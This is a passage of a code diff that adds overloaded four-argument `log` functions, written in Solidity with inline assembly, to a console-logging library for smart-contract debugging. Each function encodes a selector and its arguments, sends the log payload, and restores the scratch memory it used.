+            // Selector of `log(address,uint256,string,string)`.
+            mstore(0x00, 0x88a8c406)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,address,address)`.
+            mstore(0x00, 0x0d36fa20)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,address,bool)`.
+            mstore(0x00, 0x0df12b76)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,address,uint256)`.
+            mstore(0x00, 0x457fe3cf)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,address,string)`.
+            mstore(0x00, 0xf7e36245)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,bool,address)`.
+            mstore(0x00, 0x205871c2)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,bool,bool)`.
+            mstore(0x00, 0x5f1d5c9f)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,bool,uint256)`.
+            mstore(0x00, 0x515e38b6)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,bool,string)`.
+            mstore(0x00, 0xbc0b61fe)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,uint256,address)`.
+            mstore(0x00, 0x63183678)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,uint256,bool)`.
+            mstore(0x00, 0x0ef7e050)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,uint256,uint256)`.
+            mstore(0x00, 0x1dc8e1b8)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,uint256,string)`.
+            mstore(0x00, 0x448830a8)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,string,address)`.
+            mstore(0x00, 0xa04e2f87)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,string,bool)`.
+            mstore(0x00, 0x35a5071f)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,string,uint256)`.
+            mstore(0x00, 0x159f8927)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(address,string,string,string)`.
+            mstore(0x00, 0x5d02c50b)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bool p0, address p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,address,address)`.
+            mstore(0x00, 0x1d14d001)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,address,bool)`.
+            mstore(0x00, 0x46600be0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,address,uint256)`.
+            mstore(0x00, 0x0c66d1be)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,address,string)`.
+            mstore(0x00, 0xd812a167)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,bool,address)`.
+            mstore(0x00, 0x1c41a336)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,bool,bool)`.
+            mstore(0x00, 0x6a9c478b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,bool,uint256)`.
+            mstore(0x00, 0x07831502)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,bool,string)`.
+            mstore(0x00, 0x4a66cb34)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
